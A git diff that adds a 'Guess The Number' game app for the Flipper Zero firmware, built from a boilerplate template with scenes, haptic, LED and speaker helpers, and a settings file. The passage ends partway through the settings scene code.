b/applications/external/guess_the_number/application.fam new file mode 100644 index 00000000000..0605ddd6bed --- /dev/null +++ b/applications/external/guess_the_number/application.fam @@ -0,0 +1,14 @@ +App( + appid="guess_the_number_dev", + name="Guess The Number (Dev)", + apptype=FlipperAppType.EXTERNAL, + entry_point="boilerplate_app", + stack_size=2 * 1024, + fap_icon="icons/appicon.png", + fap_icon_assets="icons", + fap_category="Games", + fap_author="kWAYTV", + fap_weburl="https://github.com/kWAYTV/guess-the-number-fz", + fap_version=(1, 1), + fap_description="This game challenges players to guess a randomly generated number within a specified range.", +) diff --git a/applications/external/guess_the_number/boilerplate.c b/applications/external/guess_the_number/boilerplate.c new file mode 100644 index 00000000000..512cab0c495 --- /dev/null +++ b/applications/external/guess_the_number/boilerplate.c @@ -0,0 +1,125 @@ +#include "boilerplate.h" + +bool boilerplate_custom_event_callback(void* context, uint32_t event) { + furi_assert(context); + Boilerplate* app = context; + return scene_manager_handle_custom_event(app->scene_manager, event); +} + +void boilerplate_tick_event_callback(void* context) { + furi_assert(context); + Boilerplate* app = context; + scene_manager_handle_tick_event(app->scene_manager); +} + +//leave app if back button pressed +bool boilerplate_navigation_event_callback(void* context) { + furi_assert(context); + Boilerplate* app = context; + return scene_manager_handle_back_event(app->scene_manager); +} + +Boilerplate* boilerplate_app_alloc() { + Boilerplate* app = malloc(sizeof(Boilerplate)); + app->gui = furi_record_open(RECORD_GUI); + app->notification = furi_record_open(RECORD_NOTIFICATION); + + //Turn backlight on, believe me this makes testing your app easier + notification_message(app->notification, &sequence_display_backlight_on); + + //Scene additions + app->view_dispatcher = view_dispatcher_alloc(); + view_dispatcher_enable_queue(app->view_dispatcher); + + app->scene_manager = scene_manager_alloc(&boilerplate_scene_handlers, app); + view_dispatcher_set_event_callback_context(app->view_dispatcher, app); + view_dispatcher_set_navigation_event_callback( + app->view_dispatcher, boilerplate_navigation_event_callback); + view_dispatcher_set_tick_event_callback( + app->view_dispatcher, boilerplate_tick_event_callback, 100); + view_dispatcher_set_custom_event_callback( + app->view_dispatcher, boilerplate_custom_event_callback); + app->submenu = submenu_alloc(); + + // Set defaults, in case no config loaded + app->haptic = 1; + app->speaker = 1; + app->led = 1; + app->save_settings = 1; + + // Load configs + boilerplate_read_settings(app); + + view_dispatcher_add_view( + app->view_dispatcher, BoilerplateViewIdMenu, submenu_get_view(app->submenu)); + app->boilerplate_startscreen = boilerplate_startscreen_alloc(); + view_dispatcher_add_view( + app->view_dispatcher, + BoilerplateViewIdStartscreen, + boilerplate_startscreen_get_view(app->boilerplate_startscreen)); + app->boilerplate_scene_1 = boilerplate_scene_1_alloc(); + view_dispatcher_add_view( + app->view_dispatcher, + BoilerplateViewIdScene1, + boilerplate_scene_1_get_view(app->boilerplate_scene_1)); + app->boilerplate_scene_2 = boilerplate_scene_2_alloc(); + view_dispatcher_add_view( + app->view_dispatcher, + BoilerplateViewIdScene2, + boilerplate_scene_2_get_view(app->boilerplate_scene_2)); + + app->variable_item_list = variable_item_list_alloc(); + view_dispatcher_add_view( + app->view_dispatcher, + BoilerplateViewIdSettings, + variable_item_list_get_view(app->variable_item_list)); + + //End Scene Additions + + return app; +} + +void boilerplate_app_free(Boilerplate* app) { + furi_assert(app); + + // Scene manager + scene_manager_free(app->scene_manager); + + // View Dispatcher + view_dispatcher_remove_view(app->view_dispatcher, BoilerplateViewIdMenu); + view_dispatcher_remove_view(app->view_dispatcher, BoilerplateViewIdScene1); + view_dispatcher_remove_view(app->view_dispatcher, BoilerplateViewIdScene2); + view_dispatcher_remove_view(app->view_dispatcher, BoilerplateViewIdSettings); + submenu_free(app->submenu); + + view_dispatcher_free(app->view_dispatcher); + furi_record_close(RECORD_GUI); + + app->gui = NULL; + app->notification = NULL; + + //Remove whatever is left + free(app); +} + +int32_t boilerplate_app(void* p) { + UNUSED(p); + Boilerplate* app = boilerplate_app_alloc(); + + view_dispatcher_attach_to_gui(app->view_dispatcher, app->gui, ViewDispatcherTypeFullscreen); + + scene_manager_next_scene( + app->scene_manager, BoilerplateSceneStartscreen); //Start with start screen + //scene_manager_next_scene(app->scene_manager, BoilerplateSceneMenu); //if you want to directly start with Menu + + furi_hal_power_suppress_charge_enter(); + + view_dispatcher_run(app->view_dispatcher); + + boilerplate_save_settings(app); + + furi_hal_power_suppress_charge_exit(); + boilerplate_app_free(app); + + return 0; +} diff --git a/applications/external/guess_the_number/boilerplate.h b/applications/external/guess_the_number/boilerplate.h new file mode 100644 index 00000000000..8565d0e5372 --- /dev/null +++ b/applications/external/guess_the_number/boilerplate.h @@ -0,0 +1,70 @@ +#pragma once + +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include "scenes/boilerplate_scene.h" +#include "views/boilerplate_startscreen.h" +#include "views/boilerplate_scene_1.h" +#include "views/boilerplate_scene_2.h" +#include "helpers/boilerplate_storage.h" + +#define TAG "Boilerplate" + +#define SUBGHZ_APP_EXTENSION ".sub" +#define SUBGHZ_APP_FOLDER ANY_PATH("subghz") + +typedef struct { + Gui* gui; + NotificationApp* notification; + ViewDispatcher* view_dispatcher; + Submenu* submenu; + SceneManager* scene_manager; + VariableItemList* variable_item_list; + BoilerplateStartscreen* boilerplate_startscreen; + BoilerplateScene1* boilerplate_scene_1; + BoilerplateScene2* boilerplate_scene_2; + uint32_t haptic; + uint32_t speaker; + uint32_t led; + uint32_t save_settings; +} Boilerplate; + +typedef enum { + BoilerplateViewIdStartscreen, + BoilerplateViewIdMenu, + BoilerplateViewIdScene1, + BoilerplateViewIdScene2, + BoilerplateViewIdSettings, +} BoilerplateViewId; + +typedef enum { + BoilerplateHapticOff, + BoilerplateHapticOn, +} BoilerplateHapticState; + +typedef enum { + BoilerplateSpeakerOff, + BoilerplateSpeakerOn, +} BoilerplateSpeakerState; + +typedef enum { + BoilerplateLedOff, + BoilerplateLedOn, +} BoilerplateLedState; + +typedef enum { + BoilerplateSettingsOff, + BoilerplateSettingsOn, +} BoilerplateSettingsStoreState; diff --git a/applications/external/guess_the_number/helpers/boilerplate_custom_event.h b/applications/external/guess_the_number/helpers/boilerplate_custom_event.h new file mode 100644 index 00000000000..5dcdc072da5 --- /dev/null +++ b/applications/external/guess_the_number/helpers/boilerplate_custom_event.h @@ -0,0 +1,61 @@ +#pragma once + +typedef enum { + BoilerplateCustomEventStartscreenUp, + BoilerplateCustomEventStartscreenDown, + BoilerplateCustomEventStartscreenLeft, + BoilerplateCustomEventStartscreenRight, + BoilerplateCustomEventStartscreenOk, + BoilerplateCustomEventStartscreenBack, + BoilerplateCustomEventScene1Up, + BoilerplateCustomEventScene1Down, + BoilerplateCustomEventScene1Left, + BoilerplateCustomEventScene1Right, + BoilerplateCustomEventScene1Ok, + BoilerplateCustomEventScene1Back, + BoilerplateCustomEventScene2Up, + BoilerplateCustomEventScene2Down, + BoilerplateCustomEventScene2Left, + BoilerplateCustomEventScene2Right, + BoilerplateCustomEventScene2Ok, + BoilerplateCustomEventScene2Back, +} BoilerplateCustomEvent; + +enum BoilerplateCustomEventType { + // Reserve first 100 events for button types and indexes, starting from 0 + BoilerplateCustomEventMenuVoid, + BoilerplateCustomEventMenuSelected, +}; + +#pragma pack(push, 1) +typedef union { + uint32_t packed_value; + struct { + uint16_t type; + int16_t value; + } content; +} BoilerplateCustomEventMenu; +#pragma pack(pop) + +static inline uint32_t boilerplate_custom_menu_event_pack(uint16_t type, int16_t value) { + BoilerplateCustomEventMenu event = {.content = {.type = type, .value = value}}; + return event.packed_value; +} +static inline void + boilerplate_custom_menu_event_unpack(uint32_t packed_value, uint16_t* type, int16_t* value) { + BoilerplateCustomEventMenu event = {.packed_value = packed_value}; + if(type) *type = event.content.type; + if(value) *value = event.content.value; +} + +static inline uint16_t boilerplate_custom_menu_event_get_type(uint32_t packed_value) { + uint16_t type; + boilerplate_custom_menu_event_unpack(packed_value, &type, NULL); + return type; +} + +static inline int16_t boilerplate_custom_menu_event_get_value(uint32_t packed_value) { + int16_t value; + boilerplate_custom_menu_event_unpack(packed_value, NULL, &value); + return value; +} \ No newline at end of file diff --git a/applications/external/guess_the_number/helpers/boilerplate_haptic.c b/applications/external/guess_the_number/helpers/boilerplate_haptic.c new file mode 100644 index 00000000000..9a49d68ffc5 --- /dev/null +++ b/applications/external/guess_the_number/helpers/boilerplate_haptic.c @@ -0,0 +1,58 @@ +#include "boilerplate_haptic.h" +#include "../boilerplate.h" + +void boilerplate_play_happy_bump(void* context) { + Boilerplate* app = context; + if(app->haptic != 1) { + return; + } + notification_message(app->notification, &sequence_set_vibro_on); + furi_thread_flags_wait(0, FuriFlagWaitAny, 20); + notification_message(app->notification, &sequence_reset_vibro); +} + +void boilerplate_play_bad_bump(void* context) { + Boilerplate* app = context; + if(app->haptic != 1) { + return; + } + notification_message(app->notification, &sequence_set_vibro_on); + furi_thread_flags_wait(0, FuriFlagWaitAny, 100); + notification_message(app->notification, &sequence_reset_vibro); +} + +void boilerplate_play_short_bump(void* context) { + Boilerplate* app = context; + if(app->haptic != 1) { + return; + } + for(int i = 0; i < 2; i++) { + notification_message(app->notification, &sequence_set_vibro_on); + furi_thread_flags_wait(0, FuriFlagWaitAny, 50); + notification_message(app->notification, &sequence_reset_vibro); + furi_thread_flags_wait(0, FuriFlagWaitAny, 100); + } +} + +void boilerplate_play_long_bump(void* context) { + Boilerplate* app = context; + if(app->haptic != 1) { + return; + } + for(int i = 0; i < 4; i++) { + notification_message(app->notification, &sequence_set_vibro_on); + furi_thread_flags_wait(0, FuriFlagWaitAny, 50); + notification_message(app->notification, &sequence_reset_vibro); + furi_thread_flags_wait(0, FuriFlagWaitAny, 100); + } +} + +void boilerplate_play_button_press(void* context) { + Boilerplate* app = context; + if(app->haptic != 1) { + return; + } + notification_message(app->notification, &sequence_set_vibro_on); + furi_thread_flags_wait(0, FuriFlagWaitAny, 5); + notification_message(app->notification, &sequence_reset_vibro); +} \ No newline at end of file diff --git a/applications/external/guess_the_number/helpers/boilerplate_haptic.h b/applications/external/guess_the_number/helpers/boilerplate_haptic.h new file mode 100644 index 00000000000..0f736bb4a84 --- /dev/null +++ b/applications/external/guess_the_number/helpers/boilerplate_haptic.h @@ -0,0 +1,9 @@ +#include + +void boilerplate_play_happy_bump(void* context); +void boilerplate_play_bad_bump(void* context); + +void boilerplate_play_short_bump(void* context); +void boilerplate_play_long_bump(void* context); + +void boilerplate_play_button_press(void* context); \ No newline at end of file diff --git a/applications/external/guess_the_number/helpers/boilerplate_led.c b/applications/external/guess_the_number/helpers/boilerplate_led.c new file mode 100644 index 00000000000..076e8b7764e --- /dev/null +++ b/applications/external/guess_the_number/helpers/boilerplate_led.c @@ -0,0 +1,39 @@ +#include "boilerplate_led.h" +#include "../boilerplate.h" + +void boilerplate_led_set_rgb(void* context, int red, int green, int blue) { + Boilerplate* app = context; + if(app->led != 1) { + return; + } + NotificationMessage notification_led_message_1; + notification_led_message_1.type = NotificationMessageTypeLedRed; + NotificationMessage notification_led_message_2; + notification_led_message_2.type = NotificationMessageTypeLedGreen; + NotificationMessage notification_led_message_3; + notification_led_message_3.type = NotificationMessageTypeLedBlue; + + notification_led_message_1.data.led.value = red; + notification_led_message_2.data.led.value = green; + notification_led_message_3.data.led.value = blue; + const NotificationSequence notification_sequence = { + ¬ification_led_message_1, + ¬ification_led_message_2, + ¬ification_led_message_3, + &message_do_not_reset, + NULL, + }; + notification_message(app->notification, ¬ification_sequence); + furi_thread_flags_wait( + 0, FuriFlagWaitAny, 10); //Delay, prevent removal from RAM before LED value set +} + +void boilerplate_led_reset(void* context) { + Boilerplate* app = context; + notification_message(app->notification, &sequence_reset_red); + notification_message(app->notification, &sequence_reset_green); + notification_message(app->notification, &sequence_reset_blue); + + furi_thread_flags_wait( + 0, FuriFlagWaitAny, 300); //Delay, prevent removal from RAM before LED value set +} diff --git a/applications/external/guess_the_number/helpers/boilerplate_led.h b/applications/external/guess_the_number/helpers/boilerplate_led.h new file mode 100644 index 00000000000..349e09583ba --- /dev/null +++ b/applications/external/guess_the_number/helpers/boilerplate_led.h @@ -0,0 +1,5 @@ + + +void boilerplate_led_set_rgb(void* context, int red, int green, int blue); + +void boilerplate_led_reset(void* context); diff --git a/applications/external/guess_the_number/helpers/boilerplate_speaker.c b/applications/external/guess_the_number/helpers/boilerplate_speaker.c new file mode 100644 index 00000000000..db5ffaaefa3 --- /dev/null +++ b/applications/external/guess_the_number/helpers/boilerplate_speaker.c @@ -0,0 +1,37 @@ +#include "boilerplate_speaker.h" +#include "../boilerplate.h" + +#define NOTE_INPUT 587.33f + +void boilerplate_play_input_sound(void* context) { + Boilerplate* app = context; + if(app->speaker != 1) { + return; + } + float volume = 1.0f; + if(furi_hal_speaker_is_mine() || furi_hal_speaker_acquire(30)) { + furi_hal_speaker_start(NOTE_INPUT, volume); + } +} + +void boilerplate_play_win_sound(void* context) { + Boilerplate* app = context; + if(app->speaker != 1) { + return; + } + float volume = 1.0f; + if(furi_hal_speaker_is_mine() || furi_hal_speaker_acquire(30)) { + furi_hal_speaker_start(NOTE_INPUT * 3, volume); + } +} + +void boilerplate_stop_all_sound(void* context) { + Boilerplate* app = context; + if(app->speaker != 1) { + return; + } + if(furi_hal_speaker_is_mine()) { + furi_hal_speaker_stop(); + furi_hal_speaker_release(); + } +} diff --git a/applications/external/guess_the_number/helpers/boilerplate_speaker.h b/applications/external/guess_the_number/helpers/boilerplate_speaker.h new file mode 100644 index 00000000000..c9419b26bff --- /dev/null +++ b/applications/external/guess_the_number/helpers/boilerplate_speaker.h @@ -0,0 +1,5 @@ +#define NOTE_INPUT 587.33f + +void boilerplate_play_input_sound(void* context); +void boilerplate_play_win_sound(void* context); +void boilerplate_stop_all_sound(void* context); diff --git a/applications/external/guess_the_number/helpers/boilerplate_storage.c b/applications/external/guess_the_number/helpers/boilerplate_storage.c new file mode 100644 index 00000000000..9b1ce349fec --- /dev/null +++ b/applications/external/guess_the_number/helpers/boilerplate_storage.c @@ -0,0 +1,116 @@ +#include "boilerplate_storage.h" + +static Storage* boilerplate_open_storage() { + return furi_record_open(RECORD_STORAGE); +} + +static void boilerplate_close_storage() { + furi_record_close(RECORD_STORAGE); +} + +static void boilerplate_close_config_file(FlipperFormat* file) { + if(file == NULL) return; + flipper_format_file_close(file); + flipper_format_free(file); +} + +void boilerplate_save_settings(void* context) { + Boilerplate* app = context; + if(app->save_settings == 0) { + return; + } + + FURI_LOG_D(TAG, "Saving Settings"); + Storage* storage = boilerplate_open_storage(); + FlipperFormat* fff_file = flipper_format_file_alloc(storage); + + // Overwrite wont work, so delete first + if(storage_file_exists(storage, BOILERPLATE_SETTINGS_SAVE_PATH)) { + storage_simply_remove(storage, BOILERPLATE_SETTINGS_SAVE_PATH); + } + + // Open File, create if not exists + if(!storage_common_stat(storage, BOILERPLATE_SETTINGS_SAVE_PATH, NULL) == FSE_OK) { + FURI_LOG_D( + TAG, "Config file %s is not found. Will create new.", BOILERPLATE_SETTINGS_SAVE_PATH); + if(storage_common_stat(storage, CONFIG_FILE_DIRECTORY_PATH, NULL) == FSE_NOT_EXIST) { + FURI_LOG_D( + TAG, "Directory %s doesn't exist. Will create new.", CONFIG_FILE_DIRECTORY_PATH); + if(!storage_simply_mkdir(storage, CONFIG_FILE_DIRECTORY_PATH)) { + FURI_LOG_E(TAG, "Error creating directory %s", CONFIG_FILE_DIRECTORY_PATH); + } + } + } + + if(!flipper_format_file_open_new(fff_file, BOILERPLATE_SETTINGS_SAVE_PATH)) { + //totp_close_config_file(fff_file); + FURI_LOG_E(TAG, "Error creating new file %s", BOILERPLATE_SETTINGS_SAVE_PATH); + boilerplate_close_storage(); + return; + } + + // Store Settings + flipper_format_write_header_cstr( + fff_file, BOILERPLATE_SETTINGS_HEADER, BOILERPLATE_SETTINGS_FILE_VERSION); + flipper_format_write_uint32(fff_file, BOILERPLATE_SETTINGS_KEY_HAPTIC, &app->haptic, 1); + flipper_format_write_uint32(fff_file, BOILERPLATE_SETTINGS_KEY_SPEAKER, &app->speaker, 1); + flipper_format_write_uint32(fff_file, BOILERPLATE_SETTINGS_KEY_LED, &app->led, 1); + flipper_format_write_uint32( + fff_file, BOILERPLATE_SETTINGS_KEY_SAVE_SETTINGS, &app->save_settings, 1); + + if(!flipper_format_rewind(fff_file)) { + boilerplate_close_config_file(fff_file); + FURI_LOG_E(TAG, "Rewind error"); + boilerplate_close_storage(); + return; + } + + boilerplate_close_config_file(fff_file); + boilerplate_close_storage(); +} + +void boilerplate_read_settings(void* context) { + Boilerplate* app = context; + Storage* storage = boilerplate_open_storage(); + FlipperFormat* fff_file = flipper_format_file_alloc(storage); + + if(storage_common_stat(storage, BOILERPLATE_SETTINGS_SAVE_PATH, NULL) != FSE_OK) { + boilerplate_close_config_file(fff_file); + boilerplate_close_storage(); + return; + } + uint32_t file_version; + FuriString* temp_str = furi_string_alloc(); + + if(!flipper_format_file_open_existing(fff_file, BOILERPLATE_SETTINGS_SAVE_PATH)) { + FURI_LOG_E(TAG, "Cannot open file %s", BOILERPLATE_SETTINGS_SAVE_PATH); + boilerplate_close_config_file(fff_file); + boilerplate_close_storage(); + return; + } + + if(!flipper_format_read_header(fff_file, temp_str, &file_version)) { + FURI_LOG_E(TAG, "Missing Header Data"); + boilerplate_close_config_file(fff_file); + boilerplate_close_storage(); + return; + } + + if(file_version < BOILERPLATE_SETTINGS_FILE_VERSION) { + FURI_LOG_I(TAG, "old config version, will be removed."); + boilerplate_close_config_file(fff_file); + boilerplate_close_storage(); + return; + } + + flipper_format_read_uint32(fff_file, BOILERPLATE_SETTINGS_KEY_HAPTIC, &app->haptic, 1); + flipper_format_read_uint32(fff_file, BOILERPLATE_SETTINGS_KEY_SPEAKER, &app->speaker, 1); + flipper_format_read_uint32(fff_file, BOILERPLATE_SETTINGS_KEY_LED, &app->led, 1); + flipper_format_read_uint32( + fff_file, BOILERPLATE_SETTINGS_KEY_SAVE_SETTINGS, &app->save_settings, 1); + + flipper_format_rewind(fff_file); + + boilerplate_close_config_file(fff_file); + boilerplate_close_storage(); +} \ No newline at end of file diff --git a/applications/external/guess_the_number/helpers/boilerplate_storage.h b/applications/external/guess_the_number/helpers/boilerplate_storage.h new file mode 100644 index 00000000000..114f5a6504a --- /dev/null +++ b/applications/external/guess_the_number/helpers/boilerplate_storage.h @@ -0,0 +1,20 @@ +#pragma once + +#include +#include +#include +#include +#include "../boilerplate.h" + +#define BOILERPLATE_SETTINGS_FILE_VERSION 1 +#define CONFIG_FILE_DIRECTORY_PATH EXT_PATH("apps_data/guess_the_number") +#define BOILERPLATE_SETTINGS_SAVE_PATH CONFIG_FILE_DIRECTORY_PATH "/guess_the_number.conf" +#define BOILERPLATE_SETTINGS_SAVE_PATH_TMP BOILERPLATE_SETTINGS_SAVE_PATH ".tmp" +#define BOILERPLATE_SETTINGS_HEADER "GTN Config File" +#define BOILERPLATE_SETTINGS_KEY_HAPTIC "Haptic" +#define BOILERPLATE_SETTINGS_KEY_LED "Led" +#define BOILERPLATE_SETTINGS_KEY_SPEAKER "Speaker" +#define BOILERPLATE_SETTINGS_KEY_SAVE_SETTINGS "SaveSettings" + +void boilerplate_save_settings(void* context); +void boilerplate_read_settings(void* context); \ No newline at end of file diff --git a/applications/external/guess_the_number/icons/appicon.png b/applications/external/guess_the_number/icons/appicon.png new file mode 100644 index 00000000000..16a20abdaf5 Binary files /dev/null and b/applications/external/guess_the_number/icons/appicon.png differ diff --git a/applications/external/guess_the_number/scenes/boilerplate_scene.c b/applications/external/guess_the_number/scenes/boilerplate_scene.c new file mode 100644 index 00000000000..ab423c1c956 --- /dev/null +++ b/applications/external/guess_the_number/scenes/boilerplate_scene.c @@ -0,0 +1,30 @@ +#include "boilerplate_scene.h" + +// Generate scene on_enter handlers array +#define ADD_SCENE(prefix, name, id) prefix##_scene_##name##_on_enter, +void (*const boilerplate_on_enter_handlers[])(void*) = { +#include "boilerplate_scene_config.h" +}; +#undef ADD_SCENE + +// Generate scene on_event handlers array +#define ADD_SCENE(prefix, name, id) prefix##_scene_##name##_on_event, +bool (*const boilerplate_on_event_handlers[])(void* context, SceneManagerEvent event) = { +#include "boilerplate_scene_config.h" +}; +#undef ADD_SCENE + +// Generate scene on_exit handlers array +#define ADD_SCENE(prefix, name, id) prefix##_scene_##name##_on_exit, +void (*const boilerplate_on_exit_handlers[])(void* context) = { +#include "boilerplate_scene_config.h" +}; +#undef ADD_SCENE + +// Initialize scene handlers configuration structure +const SceneManagerHandlers boilerplate_scene_handlers = { + .on_enter_handlers = boilerplate_on_enter_handlers, + .on_event_handlers = boilerplate_on_event_handlers, + .on_exit_handlers = boilerplate_on_exit_handlers, + .scene_num = BoilerplateSceneNum, +}; diff --git a/applications/external/guess_the_number/scenes/boilerplate_scene.h b/applications/external/guess_the_number/scenes/boilerplate_scene.h new file mode 100644 index 00000000000..d2314b04c10 --- /dev/null +++ b/applications/external/guess_the_number/scenes/boilerplate_scene.h @@ -0,0 +1,29 @@ +#pragma once + +#include + +// Generate scene id and total number +#define ADD_SCENE(prefix, name, id) BoilerplateScene##id, +typedef enum { +#include "boilerplate_scene_config.h" + BoilerplateSceneNum, +} BoilerplateScene; +#undef ADD_SCENE + +extern const SceneManagerHandlers boilerplate_scene_handlers; + +// Generate scene on_enter handlers declaration +#define ADD_SCENE(prefix, name, id) void prefix##_scene_##name##_on_enter(void*); +#include "boilerplate_scene_config.h" +#undef ADD_SCENE + +// Generate scene on_event handlers declaration +#define ADD_SCENE(prefix, name, id) \ + bool prefix##_scene_##name##_on_event(void* context, SceneManagerEvent event); +#include "boilerplate_scene_config.h" +#undef ADD_SCENE + +// Generate scene on_exit handlers declaration +#define ADD_SCENE(prefix, name, id) void prefix##_scene_##name##_on_exit(void* context); +#include "boilerplate_scene_config.h" +#undef ADD_SCENE diff --git a/applications/external/guess_the_number/scenes/boilerplate_scene_config.h b/applications/external/guess_the_number/scenes/boilerplate_scene_config.h new file mode 100644 index 00000000000..910da3c3f43 --- /dev/null +++ b/applications/external/guess_the_number/scenes/boilerplate_scene_config.h @@ -0,0 +1,5 @@ +ADD_SCENE(boilerplate, startscreen, Startscreen) +ADD_SCENE(boilerplate, menu, Menu) +ADD_SCENE(boilerplate, scene_1, Scene_1) +ADD_SCENE(boilerplate, scene_2, Scene_2) +ADD_SCENE(boilerplate, settings, Settings) \ No newline at end of file diff --git a/applications/external/guess_the_number/scenes/boilerplate_scene_menu.c b/applications/external/guess_the_number/scenes/boilerplate_scene_menu.c new file mode 100644 index 00000000000..10b1ef7043a --- /dev/null +++ b/applications/external/guess_the_number/scenes/boilerplate_scene_menu.c @@ -0,0 +1,70 @@ +#include "../boilerplate.h" + +enum SubmenuIndex { + SubmenuIndexScene1 = 10, + SubmenuIndexScene2, + SubmenuIndexSettings, +}; + +void boilerplate_scene_menu_submenu_callback(void* context, uint32_t index) { + Boilerplate* app = context; + view_dispatcher_send_custom_event(app->view_dispatcher, index); +} + +void boilerplate_scene_menu_on_enter(void* context) { + Boilerplate* app = context; + + submenu_add_item( + app->submenu, "Play", SubmenuIndexScene2, boilerplate_scene_menu_submenu_callback, app); + submenu_add_item( + app->submenu, + "How to play", + SubmenuIndexScene1, + boilerplate_scene_menu_submenu_callback, + app); + submenu_add_item( + app->submenu, + "Settings", + SubmenuIndexSettings, + boilerplate_scene_menu_submenu_callback, + app); + + submenu_set_selected_item( + app->submenu, scene_manager_get_scene_state(app->scene_manager, BoilerplateSceneMenu)); + + view_dispatcher_switch_to_view(app->view_dispatcher, BoilerplateViewIdMenu); +} + +bool boilerplate_scene_menu_on_event(void* context, SceneManagerEvent event) { + Boilerplate* app = context; + UNUSED(app); + if(event.type == SceneManagerEventTypeBack) { + //exit app + scene_manager_stop(app->scene_manager); + view_dispatcher_stop(app->view_dispatcher); + return true; + } else if(event.type == SceneManagerEventTypeCustom) { + if(event.event == SubmenuIndexScene1) { + scene_manager_set_scene_state( + app->scene_manager, BoilerplateSceneMenu, SubmenuIndexScene1); + scene_manager_next_scene(app->scene_manager, BoilerplateSceneScene_1); + return true; + } else if(event.event == SubmenuIndexScene2) { + scene_manager_set_scene_state( + app->scene_manager, BoilerplateSceneMenu, SubmenuIndexScene2); + scene_manager_next_scene(app->scene_manager, BoilerplateSceneScene_2); + return true; + } else if(event.event == SubmenuIndexSettings) { + scene_manager_set_scene_state( + app->scene_manager, BoilerplateSceneMenu, SubmenuIndexSettings); + scene_manager_next_scene(app->scene_manager, BoilerplateSceneSettings); + return true; + } + } + return false; +} + +void boilerplate_scene_menu_on_exit(void* context) { + Boilerplate* app = context; + submenu_reset(app->submenu); +} \ No newline at end of file diff --git a/applications/external/guess_the_number/scenes/boilerplate_scene_scene_1.c b/applications/external/guess_the_number/scenes/boilerplate_scene_scene_1.c new file mode 100644 index 00000000000..04b43dc90c8 --- /dev/null +++ b/applications/external/guess_the_number/scenes/boilerplate_scene_scene_1.c @@ -0,0 +1,50 @@ +#include "../boilerplate.h" +#include "../helpers/boilerplate_custom_event.h" +#include "../views/boilerplate_scene_1.h" + +void boilerplate_scene_1_callback(BoilerplateCustomEvent event, void* context) { + furi_assert(context); + Boilerplate* app = context; + view_dispatcher_send_custom_event(app->view_dispatcher, event); +} + +void boilerplate_scene_scene_1_on_enter(void* context) { + furi_assert(context); + Boilerplate* app = context; + boilerplate_scene_1_set_callback(app->boilerplate_scene_1, boilerplate_scene_1_callback, app); + view_dispatcher_switch_to_view(app->view_dispatcher, BoilerplateViewIdScene1); +} + +bool boilerplate_scene_scene_1_on_event(void* context, SceneManagerEvent event) { + Boilerplate* app = context; + bool consumed = false; + + if(event.type == SceneManagerEventTypeCustom) { + switch(event.event) { + case BoilerplateCustomEventScene1Left: + case BoilerplateCustomEventScene1Right: + break; + case BoilerplateCustomEventScene1Up: + case BoilerplateCustomEventScene1Down: + break; + case BoilerplateCustomEventScene1Back: + notification_message(app->notification, &sequence_reset_red); + notification_message(app->notification, &sequence_reset_green); + notification_message(app->notification, &sequence_reset_blue); + if(!scene_manager_search_and_switch_to_previous_scene( + app->scene_manager, BoilerplateSceneMenu)) { + scene_manager_stop(app->scene_manager); + view_dispatcher_stop(app->view_dispatcher); + } + consumed = true; + break; + } + } + + return consumed; +} + +void boilerplate_scene_scene_1_on_exit(void* context) { + Boilerplate* app = context; + UNUSED(app); +} \ No newline at end of file diff --git a/applications/external/guess_the_number/scenes/boilerplate_scene_scene_2.c b/applications/external/guess_the_number/scenes/boilerplate_scene_scene_2.c new file mode 100644 index 00000000000..de23945b32b --- /dev/null +++ b/applications/external/guess_the_number/scenes/boilerplate_scene_scene_2.c @@ -0,0 +1,52 @@ +#include "../boilerplate.h" +#include "../helpers/boilerplate_custom_event.h" +#include "../helpers/boilerplate_haptic.h" +#include "../helpers/boilerplate_led.h" +#include "../views/boilerplate_scene_2.h" + +void boilerplate_scene_2_callback(BoilerplateCustomEvent event, void* context) { + furi_assert(context); + Boilerplate* app = context; + view_dispatcher_send_custom_event(app->view_dispatcher, event); +} + +void boilerplate_scene_scene_2_on_enter(void* context) { + furi_assert(context); + Boilerplate* app = context; + boilerplate_scene_2_set_callback(app->boilerplate_scene_2, boilerplate_scene_2_callback, app); + view_dispatcher_switch_to_view(app->view_dispatcher, BoilerplateViewIdScene2); +} + +bool boilerplate_scene_scene_2_on_event(void* context, SceneManagerEvent event) { + Boilerplate* app = context; + bool consumed = false; + + if(event.type == SceneManagerEventTypeCustom) { + switch(event.event) { + case BoilerplateCustomEventScene2Left: + case BoilerplateCustomEventScene2Right: + break; + case BoilerplateCustomEventScene2Up: + case BoilerplateCustomEventScene2Down: + break; + case BoilerplateCustomEventScene2Back: + notification_message(app->notification, &sequence_reset_red); + notification_message(app->notification, &sequence_reset_green); + notification_message(app->notification, &sequence_reset_blue); + if(!scene_manager_search_and_switch_to_previous_scene( + app->scene_manager, BoilerplateSceneMenu)) { + scene_manager_stop(app->scene_manager); + view_dispatcher_stop(app->view_dispatcher); + } + consumed = true; + break; + } + } + + return consumed; +} + +void boilerplate_scene_scene_2_on_exit(void* context) { + Boilerplate* app = context; + UNUSED(app); +} diff --git a/applications/external/guess_the_number/scenes/boilerplate_scene_settings.c b/applications/external/guess_the_number/scenes/boilerplate_scene_settings.c new file mode 100644 index 00000000000..89a4c2e6c67 --- /dev/null +++ b/applications/external/guess_the_number/scenes/boilerplate_scene_settings.c @@ -0,0 +1,133 @@ +#include "../boilerplate.h" +#include + +enum SettingsIndex { + SettingsIndexHaptic = 10, + SettingsIndexValue1, + SettingsIndexValue2, +}; + +const char* const haptic_text[2] = { + "OFF", + "ON", +}; +const uint32_t haptic_value[2] = { + BoilerplateHapticOff, + BoilerplateHapticOn, +}; + +const char* const speaker_text[2] = { + "OFF", + "ON", +}; +const uint32_t speaker_value[2] = { + BoilerplateSpeakerOff, + BoilerplateSpeakerOn, +}; + +const char* const led_text[2] = { + "OFF", + "ON", +}; +const uint32_t led_value[2] = { + BoilerplateLedOff, + BoilerplateLedOn, +}; + +const char* const settings_text[2] = { + "OFF", + "ON", +}; +const uint32_t settings_value[2] = { + BoilerplateSettingsOff, + BoilerplateSettingsOn, +}; + +static void boilerplate_scene_settings_set_haptic(VariableItem* item) { + Boilerplate* app = variable_item_get_context(item); + uint8_t index = variable_item_get_current_value_index(item); + + variable_item_set_current_value_text(item, haptic_text[index]); + app->haptic = haptic_value[index]; +} + +static void boilerplate_scene_settings_set_speaker(VariableItem* item) { + Boilerplate* app = variable_item_get_context(item); + uint8_t index = variable_item_get_current_value_index(item); + variable_item_set_current_value_text(item, speaker_text[index]); + app->speaker = speaker_value[index]; +} + +static void boilerplate_scene_settings_set_led(VariableItem* item) { + Boilerplate* app = variable_item_get_context(item); + uint8_t index = variable_item_get_current_value_index(item); + 